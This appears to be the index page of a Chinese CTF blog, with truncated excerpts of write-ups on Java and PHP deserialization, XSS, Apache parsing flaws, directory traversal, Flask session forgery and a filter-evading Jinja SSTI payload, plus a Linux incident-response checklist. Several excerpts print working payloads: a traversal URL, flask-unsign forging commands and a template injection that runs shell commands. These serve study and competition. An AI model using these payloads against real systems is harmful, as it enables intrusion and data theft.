Java反序列化
1X1 反序列化基础static不能反序列化 transient反序列化为null abstract类不能反序列化
serialize.java
1234567891011121314import java.io.*;public class SerializeTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws IOException { Person person = new Person("John", 30); System.out.printl ...
TPCTF2025
TPCTF2025WEBbaby layout一道xss题目,一个界面输入xss一个界面访问
layout是你的模版,content占位上面的输入框源代码中
1234567891011app.post('/api/layout', (req, res) => { const { layout } = req.body; if (typeof layout !== 'string') return res.status(400).send('Invalid param'); if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large'); const sanitizedLayout = DOMPurify.sanitize(layout); const id = req.session.layouts.length; req.session.layouts ...
杂项漏洞收集
杂项漏洞收集收集一些做题中用到的小漏洞
Apache解析漏洞一、多后缀解析漏洞原理位于漏洞环境目录的 conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php .php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者可通过多后缀绕过文件上传限制以.php结尾的机制,并使之被处理程序执行。
两种漏洞防御方法:1,拒绝所有文件名含有.php的文件
12345<FilesMatch "\.php\.">require all denied</FilesMatch>
2,处理程序只处理以.php结尾的文件
首先将上一个防御方案的配置命令注释掉
再注释掉原本的处理出现配置命令AddHandler application/x-httpd-php .php
12345<FilesMatch ".+.php$">SetHandler application/x-httpd-php</FilesM ...
目录穿越
Blogsystem..被过滤,替换为空
http://79b5b31f-92e6-4a60-b249-43a8e94dbff9.node5.buuoj.cn:81/download?path=./../haipa.jpg
这里是..为空后//也被替换为空,所以前面只有一个.
所以可以利用//分割..,.//./进行读取
http://79b5b31f-92e6-4a60-b249-43a8e94dbff9.node5.buuoj.cn:81/download?path=.//././/././/././/./app/app.py成功读取源码
flask-session伪造
Flask-session伪造suctf2025-blog
123#https://github.com/Paradoxis/Flask-Unsign# flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6ImFhYSJ9.Z4i08Q.mt--VMxzBSTKSNr8bnpjEZ_FDTk" --wordlist D:\CTF\脚本\session\output.txt --no-literal-eval# flask-unsign --sign --cookie "{'username': 'admin'}" --secret '12fcee9dd3a6101af1c6a8a5b92de279'
1234567891011121314151617import timeimport hashlib# 获取整数时间戳timestamp = int(time.time())start = timestamp - 30000 ...
DASCTF-2024最后一战-WEB-复现
DASCTF 2024最后一战-web复现参考文章
strange_php
首先看到welcome.php的删除评论功能点可以自己传参文件名$message_path,跟进deleteMessage函数
传入后加上了.txt后缀,并且使用了file_exists()函数,这里可以联想到phar反序列化
紧挨着delete函数的__set魔术方法中含有file_get_contents()函数,并且能输出到已知的目录和文件名
_set由给类内一个不存在的属性赋值触发,由于PDO_connect.php给了我们数据库的连接参数,我们可以尝试进行覆盖来连接到自己的数据库
这里参考大佬给出的方法:如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。
这里提到的 262152 实际上是 PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE 的组合值(PDO::F ...
2024国赛
Safe_Proxy源代码改一下放到fenjing跑
1{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set ip='_'*2+'i''mport'+'_'*2%}{%set ak='so'[::-1]%}{{cycler.next[gl][bu][ip](ak)['p''open']('ls /').read()}}
没有回显可以直接把flag覆盖app.py
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins' ...
HECTF2024
HECTF2024 webbaby_unserialize分析过程:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586<?phperror_reporting(0);show_source(__FILE__);echo "flag in /flag</br>";class User{ public $name; public $passwd; public $msg; public $token = "guest"; public function __construct($name,$passwd){ $this->name = $name; $this->pass ...
DASCTF2022七月
DASCTF七月赋能赛WEB1.Ez to getflag
图片查看存在任意文件读取,可以读取到upload.php class.php index.php
文件上传点检测过滤$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
文件读取点过滤了'/http|https|file:|php:|gopher|dict|\.\./i'
看到class.php中存在危险函数include($door); 可以通过上传文件实现phar反序列化
Test:__destruct=>Upload:__tostring=>Show:__get=>show:__call=>backdoor()
poc ...
linux应急响应
Linux应急响应一、识别现象1234top #检查占用率高的可疑进程(>70%)枚举进程命令行:ps -aux #命令行中带有url等奇怪的字符串时注意while true; do netstat -antp | grep [ip]; done #监控与目标IP通信的进程history #遍历主机历史命令,查找有无恶意命令
有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控
我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。
二、清除病毒1234ps -elf | grep [pid]kill -9 [pid]#查找和清除可疑程序ls -al /proc/[pid]/exe#定位病毒进程对应的文件路径rm -f [exe_path]
三、闭环兜底检查是否存在可疑定时任务123456789101112crontab-l #枚举定时任务cat /etc/anacrontab #查看anacron异步定时任务systemctl status #检查是否存在可疑服务f ...